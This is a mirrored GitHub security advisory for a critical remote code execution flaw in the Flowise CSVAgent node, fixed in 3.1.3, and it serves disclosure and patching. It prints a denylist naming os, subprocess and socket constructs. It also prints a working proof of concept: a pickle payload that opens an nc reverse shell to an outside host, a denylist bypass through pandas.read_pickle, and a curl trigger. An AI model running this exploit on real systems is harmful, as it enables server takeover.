GHSA-X6VM-W76M-8J7G

Vulnerability from github – Published: 2026-08-04 15:46 – Updated: 2026-08-04 17:47
VLAI
Summary
Flowise: Remote Code Execution Vulnerability in CSVAgent
Details

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

try {
    const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
    throw new Error(error)
}

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
    { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
    { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
    // Dangerous builtins
    { pattern: /\beval\s*\(/g, reason: 'eval()' },
    { pattern: /\bexec\s*\(/g, reason: 'exec()' },
    { pattern: /\bcompile\s*\(/g, reason: 'compile()' },
    { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
    { pattern: /\bopen\s*\(/g, reason: 'open()' },
    { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
    { pattern: /\binput\s*\(/g, reason: 'input()' },
    { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
    { pattern: /\bglobals\s*\(/g, reason: 'globals()' },
    { pattern: /\blocals\s*\(/g, reason: 'locals()' },
    { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
    { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
    { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
    { pattern: /\breload\s*\(/g, reason: 'reload()' },
    { pattern: /\bfile\s*\(/g, reason: 'file()' },
    { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
    // Dangerous modules / attributes
    { pattern: /\bos\./g, reason: 'os module' },
    { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
    { pattern: /\bsys\./g, reason: 'sys module' },
    { pattern: /\bsocket\./g, reason: 'socket module' },
    { pattern: /\burllib\./g, reason: 'urllib module' },
    { pattern: /\brequests\./g, reason: 'requests module' },
    { pattern: /\b__builtins__\b/g, reason: '__builtins__' },
    { pattern: /\b__loader__\b/g, reason: '__loader__' },
    { pattern: /\b__spec__\b/g, reason: '__spec__' },
    { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
    { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
    { pattern: /\b__bases__\b/g, reason: '__bases__' },
    { pattern: /\b__mro__\b/g, reason: '__mro__' },
    { pattern: /\b__globals__\b/g, reason: '__globals__' },
    { pattern: /\b__code__\b/g, reason: '__code__' },
    { pattern: /\b__closure__\b/g, reason: '__closure__' },
    { pattern: /\bvars\s*\(/g, reason: 'vars()' },
    { pattern: /\bdir\s*\(/g, reason: 'dir()' },
    { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
    { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]

However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)

Run it and note the encoded payload to be used later:

$ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=
  1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
  2. Drag a "CSV Agent" node onto the canvas.
  3. Click on "Additional Parameters" and fill in the following PoC:
isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:46:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n    const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc} \u003c1\u003e\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n    dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n    throw new Error(error)\n}\n```\n\nAt \u003c1\u003e, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array\u003c{ pattern: RegExp; reason: string }\u003e = [\n    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n    { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: \u0027import statement (from...import)\u0027 },\n    { pattern: /\\bimport\\b/g, reason: \u0027import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)\u0027 },\n    // Dangerous builtins\n    { pattern: /\\beval\\s*\\(/g, reason: \u0027eval()\u0027 },\n    { pattern: /\\bexec\\s*\\(/g, reason: \u0027exec()\u0027 },\n    { pattern: /\\bcompile\\s*\\(/g, reason: \u0027compile()\u0027 },\n    { pattern: /\\b__import__\\s*\\(/g, reason: \u0027__import__()\u0027 },\n    { pattern: /\\bopen\\s*\\(/g, reason: \u0027open()\u0027 },\n    { pattern: /\\bbreakpoint\\s*\\(/g, reason: \u0027breakpoint()\u0027 },\n    { pattern: /\\binput\\s*\\(/g, reason: \u0027input()\u0027 },\n    { pattern: /\\braw_input\\s*\\(/g, reason: \u0027raw_input()\u0027 },\n    { pattern: /\\bglobals\\s*\\(/g, reason: \u0027globals()\u0027 },\n    { pattern: /\\blocals\\s*\\(/g, reason: \u0027locals()\u0027 },\n    { pattern: /\\bgetattr\\s*\\(/g, reason: \u0027getattr()\u0027 },\n    { pattern: /\\bsetattr\\s*\\(/g, reason: \u0027setattr()\u0027 },\n    { pattern: /\\bdelattr\\s*\\(/g, reason: \u0027delattr()\u0027 },\n    { pattern: /\\breload\\s*\\(/g, reason: \u0027reload()\u0027 },\n    { pattern: /\\bfile\\s*\\(/g, reason: \u0027file()\u0027 },\n    { pattern: /\\bexecfile\\s*\\(/g, reason: \u0027execfile()\u0027 },\n    // Dangerous modules / attributes\n    { pattern: /\\bos\\./g, reason: \u0027os module\u0027 },\n    { pattern: /\\bsubprocess\\./g, reason: \u0027subprocess module\u0027 },\n    { pattern: /\\bsys\\./g, reason: \u0027sys module\u0027 },\n    { pattern: /\\bsocket\\./g, reason: \u0027socket module\u0027 },\n    { pattern: /\\burllib\\./g, reason: \u0027urllib module\u0027 },\n    { pattern: /\\brequests\\./g, reason: \u0027requests module\u0027 },\n    { pattern: /\\b__builtins__\\b/g, reason: \u0027__builtins__\u0027 },\n    { pattern: /\\b__loader__\\b/g, reason: \u0027__loader__\u0027 },\n    { pattern: /\\b__spec__\\b/g, reason: \u0027__spec__\u0027 },\n    { pattern: /\\b__class__\\b/g, reason: \u0027__class__ (reflection)\u0027 },\n    { pattern: /\\b__subclasses__\\s*\\(/g, reason: \u0027__subclasses__()\u0027 },\n    { pattern: /\\b__bases__\\b/g, reason: \u0027__bases__\u0027 },\n    { pattern: /\\b__mro__\\b/g, reason: \u0027__mro__\u0027 },\n    { pattern: /\\b__globals__\\b/g, reason: \u0027__globals__\u0027 },\n    { pattern: /\\b__code__\\b/g, reason: \u0027__code__\u0027 },\n    { pattern: /\\b__closure__\\b/g, reason: \u0027__closure__\u0027 },\n    { pattern: /\\bvars\\s*\\(/g, reason: \u0027vars()\u0027 },\n    { pattern: /\\bdir\\s*\\(/g, reason: \u0027dir()\u0027 },\n    { pattern: /\\b__dict__\\b/g, reason: \u0027__dict__ (attribute reflection)\u0027 },\n    { pattern: /\\b__module__\\b/g, reason: \u0027__module__ (module reflection)\u0027 }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n    def __init__(self, b):\n        self.data = b\n        self.pos = 0\n    def read(self, n=-1):\n        if n == -1:\n            n = len(self.data) - self.pos\n        chunk = self.data[self.pos:self.pos+n]\n        self.pos += n\n        return chunk\n    def readline(self, n=-1):\n        if self.pos \u003e= len(self.data):\n            return b\"\"\n        next_nl = self.data.find(b\"\\\\n\", self.pos)\n        if next_nl == -1:\n            next_nl = len(self.data)\n        if n != -1:\n            next_nl = min(self.pos + n, next_nl)\n        line = self.data[self.pos:next_nl+1]\n        self.pos = next_nl + 1\n        return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class  needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/\u003cUUID\u003e`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://\u003cTARGET\u003e/api/v1/prediction/\u003cUUID\u003e\n```",
  "id": "GHSA-x6vm-w76m-8j7g",
  "modified": "2026-08-04T17:47:31Z",
  "published": "2026-08-04T15:46:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Remote Code Execution Vulnerability in CSVAgent"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…